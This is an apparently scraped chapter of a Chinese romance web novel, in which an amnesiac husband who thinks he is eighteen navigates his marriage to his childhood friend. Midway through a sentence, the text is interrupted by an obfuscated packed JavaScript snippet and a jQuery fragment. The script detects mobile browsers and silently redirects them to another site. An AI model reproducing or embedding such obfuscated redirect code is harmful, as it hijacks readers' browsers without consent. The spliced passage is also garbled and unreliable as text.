谭诀伤势不重,除了意外撞到脑袋,造成短期失忆,医生只告诫家属注意伤患饮食,留院观察几天,半个月后定期复查即可。
这段期间,谭诀仿佛失去了十八岁该有的活力,小鹿哥哥也不叫了,每次看他的眼神总是一言难尽。毕竟他们处了十几年的兄弟,从小互怼到大,结果一朝醒来,基友成了夫妻,干爸干妈成了岳父岳母,若是再往深处想,他们兴许早就同房……
同房?!!
救命!!!
那特么谁上谁下啊!!!
谭诀自我脑补过剩,洗澡时悄悄摸索过一遍,没觉得哪里异样,便把探究的目光投向林鹿,时常陷入沉思。
林鹿尚不知晓谭诀清奇的脑回路,任劳任怨照看他的十八岁“小老公”,偶尔与他对视,林鹿存着恶心他的意图,软糯地问:“老公怎么了,是我哪里做得不好么?”
谭诀鸡皮疙瘩掉了一地,捂住眼睛,恨不能自废双耳:“你正常点说话,我害怕。”
害怕就对了,我恶心不死你。
林鹿愈战愈勇,从温逐那儿学来的演技终于派上用场,毛巾擦着谭诀脖颈,指尖有意无意地划过,半截身子倒向谭诀,轻唤道:“老公——”
“我们好久都没……”
?!!你不要过来啊!!!
谭诀警钟大震,桎梏住林鹿作乱的手,生无可恋道:“哥,算我求你,咱们能不能先当一段时间的好兄弟,你总要让我适应一下,你这样我真的……”
“真的什么?”
林鹿和谭诀标准的酷哥脸不同,他相貌精致,轮廓棱角分明,遗传了父亲一半的欧洲血统,一头茂密的棕色卷发,长得十分漂亮,示弱时更是惹人怜爱,忍不下心拒绝。
哪怕谭诀习惯了十八年,此刻依旧会因为他的美貌恍神,不争气地侧过头,绷着脸说:“我现在才十八岁,你要让着我。”
林鹿压根不吃这套,乘胜追击:“可抛开恋爱环节,我们结婚了两年零九个月,你想让我忍受被你忽视的痛苦,心不甘情不愿地和你做兄弟吗?谭诀,你对我好不公平。”
谭诀:“……”
林鹿从谭诀身上爬起来,失落道:“好吧,既然你不喜欢听,那我就不叫了。”
谭诀:“……”
“可你别赶我走好不好?”林鹿眼眶微红,声音低低的,“我很想你。”
谭诀彻底凌乱了。
天呐,这曹丹的世界!
——
出于诸多因素考虑,林鹿决定暂时和温逐断了联系,等谭诀什么时候恢复记忆,他再斟酌见面的事情。
温逐听完前因后果,明白林鹿处境尴尬,贴心地不给他添乱,叮嘱他少抽烟喝酒,晚上早点休息,扭捏了一阵,又问他八月份有没有时间。
林鹿翻看日历,八月中旬是温逐的首次全国巡演,热度空前绝后,与其他流量完全断层。
他啊了声,回答模棱两可,说也许有吧,得看谭诀恢复得如何。
温逐罕见地没有立即搭腔,几秒后轻声回好。
这段通话以林鹿挂断结束。
不算美妙。
他知道温逐的邀请意味着什么,可并不代表自己乐意接受这份沉重的爱意。
起初不过是新鲜感作祟,耍着玩玩,时间一久,温逐的粘人程度和独占欲日渐上涨,趋于饱和,若不是念着温逐各方面指标max,远超他那些中看不中用的前男友军团,林鹿保不准会及时抽身,物色下一任符合他心意的情人。
谁晓得这小子深藏不露,背后站着一群不好惹的大家伙啊。
温逐,温予彤,温……
早该想到的。
林鹿愁绪难捱,只能搬出谭诀,祈祷性格稳定的温逐不要突然发疯,正好谭诀需要人照顾,不如顺水推舟,一面躲避“情杀”,一面可以借机调戏谭诀,简直完美。
如是想,林鹿心底的罪孽感减轻不少,回家路上的空气都是香的,谭诀的手被他紧紧握着,十指交扣,估计是过于兴奋,林鹿力道加重,谭诀徒劳地挣了挣,喊道:“林小鹿。”
林鹿从得意忘形中回神,卸去那股力气,捧着他勒红的手说:“对不起啊老公,我太高兴了,没控制住,你痛不痛?要不要我给你吹吹?”
谭诀对林鹿的称呼近乎麻木,机械地说了句不要,让林鹿带他进屋。
这间公寓是两人应付父母买的“婚房”,家具电器全是新品。林鹿在外边野惯了,谭诀又是个喜欢加班的工作狂,一来一去,公寓久无人住,没有了生气。好在保洁阿姨一周会定时打扫一次卫生,公寓环境不错,能住活人。
开门开灯,林鹿领着谭诀到了主卧,翻出衣柜里的干净衣物,问他要不要洗澡。
谭诀扫视一圈周围,接过那套怎么看怎么不像他风格的卡通睡衣,纠结道:“那个……”
“我们一定要……同床共枕?”
林鹿噗嗤一笑,反问:“你想吗?”
谭诀下意识摇头,又怕伤及林鹿自尊,补救道:“我身上一股药味,你会受不了的。”
林鹿发现十八岁的谭诀实在可爱,起了坏心思,上前几步,虚虚环住谭诀腰腹,说:“没关系啊,我们是夫妻……”
他轻嗅谭诀混着药香的气息,不难闻,甚至还有些提神醒脑,没忍住多闻了几下,说:“你的什么地方我没看过,不要害羞嘛。”
谭诀的脖子瞬间爆红,以肉眼可见的速度蔓延至脸庞耳畔,他无措地推开林鹿,不小心摸到了柔软的地方,整个人像炸毛的猫,颤声道:“对,对不起!”
没等林鹿回话,谭诀抱着睡衣落荒而逃,轰然重响,把自己反锁进了浴室。
莫名被袭胸的林鹿仍站在原地,只是身形颤抖,眼角笑出了泪花。
别说同床共枕了,他们最叛逆的时候连互帮互助都曾有过。用谭诀年少时的话来讲,他们是彼此的唯一,做什么都不为过,因为自出生起,他们生命中的每分每秒都在双向奔赴。
以后你被对象欺负了就来找我,我身边的位置永远都有你。
直到今天,林鹿还能清晰记得少年谭诀给予他的每句承诺,不是情话胜似情话,比山盟海誓还要浪漫。尽管他们的相处模式极其诡异,不嘴痒骂对方几句心里就难受,骂完了浑身都舒坦,转眼又能勾肩搭背,一笑泯恩仇。
他们心里都明白,这点小打小闹只能算竹马间的秘密情趣,真正称得上发脾气的次数屈指可数。
仅有的那么几次,多半都是因为林鹿识人不清,吸渣体质百试不爽。单单半年,林鹿就失恋了不下三次,每晚以泪洗面,大早上从床上起来,眼睛都哭肿了。
谭诀气得想立刻杀人,把伤害林鹿的渣男通通切碎,放进绞肉机碾成沫渣,扔到海里喂鲨鱼!
而林鹿往往会拦住谭诀,芭比娃娃般的脸蛋浮起笑意,无所谓道:“没关系的,我有小谭哥哥就够了。”
谭诀很争气,比林鹿早出世六分钟,为此还整天调侃着让林鹿喊哥哥。林鹿性
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947664|160859||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
格娇纵,颇有骨气,坚决不向恶势力低头,平日里叫得最多的就是笨蛋谭诀。
当然了,这还得除去某些特殊情况。
比如生气嘴瓢了会叫谭诀蹦蛋,做错了事会喊小谭哥哥,恼羞成怒时国语都不说了,中法杂糅,听得谭诀一愣一愣的:“听不懂。”
林鹿震怒:“我&の#@大爷∈%……”
谭诀笑说:“听不懂。”
两句“听不懂”把林鹿给气惨了,哄了几分钟才堪堪休战,代价是一根草莓口味的棒棒糖。
不止草莓味,还有苹果,香橙,柠檬,可乐……
从最开始的一天一根,到后面长了蛀牙,被谭诀勒令半月一根,一周一颗。
谭诀的口袋也变成了万能百宝箱,什么都装,要啥有啥,以备不时之需,谁叫林鹿总喜欢丢三落四,没了他就不行。
没了小谭哥哥,我会死的。
林鹿开过很多关于死不死的玩笑,唯有十八岁时的这句话无比认真,脸上没有丝毫笑意。
“谁都能离开我,也可以轻而易举地扔下我。”
无论是远在国外的爸爸妈妈,还是寄养我的叔叔阿姨,或者是别的阿猫阿狗,张三李四。
“只有你不可以,小谭哥哥。”
可谭诀没能遵守约定,不顾林鹿意愿,残忍地抛下了他。
——
林鹿心眼儿多,但还没到丧心病狂的地步,逗够了谭诀移步至隔壁客房,洗澡洗头,敷完面膜准备睡觉。
他关上房门,穿着兔子睡衣的谭诀恰巧走出卧室,在客厅里装神弄鬼,狗狗祟祟。
关了一半的门又重新敞开,林鹿直觉他有话说,静静地站在那儿,出声唤道:“谭诀?”
谭诀:“你还没睡么?”
“没有诶,不过也快了。”
“啊……”
“但如果是你,我愿意再等等。”
谭诀一咯噔,心脏紧张地怦怦乱跳,手指抠着衣摆,商量道:“你现在有空么?我想和你谈谈。”
林鹿没有犹豫:“好啊。”
他们先后落座客厅沙发,人手一杯水,中间隔着茶几,有点像商战中相对而坐的谈判场景。
谭诀也不愧是创业起家的工作狂总裁,不知从哪儿弄来了纸笔,正襟危坐,郑重道:“这次受伤虽然不是我本意,但我刚才设身处地想了想,这些天我的所作所为,的确对你太不公平了。抛开伴侣这个身份,我们更是情同手足的兄弟,冷落你是我不对,我向你道歉。”
“而且逃避是最没出息的解决办法,与其让你等我,不如我们一起努力,说不定我的记忆会恢复得更快呢?”
说完他动起了笔,锋利的字体唰唰写在纸上,边写边念:“我们可以约法三章,恢复记忆前每天按时完成亲密任务,先从牵手拥抱开始。如果你想更近一步,那么睡前十五分钟,我的时间都是属于你的,随便你想做什么,我都会学着回应,包括不仅限于接吻和抚摸。如果你觉得进展太快,你可以提前通知我,哪些行为冒犯到了你,哪些行为你更加喜欢。”
“当然你不要有心理负担,觉得我现在才十八岁,和你的年龄阅历相差甚远。我不是小孩,也不算大人,你可以把我当做你的高中生男友,只要不触及底线,你想要的我会尽量满足。”
谭诀一次性说完,压力减轻了许多,他仔细罗列出适合双方拉近距离的要点,在末尾签上署名,抿了抿唇,说:“所以……小鹿哥哥,你要不要和我一起睡?”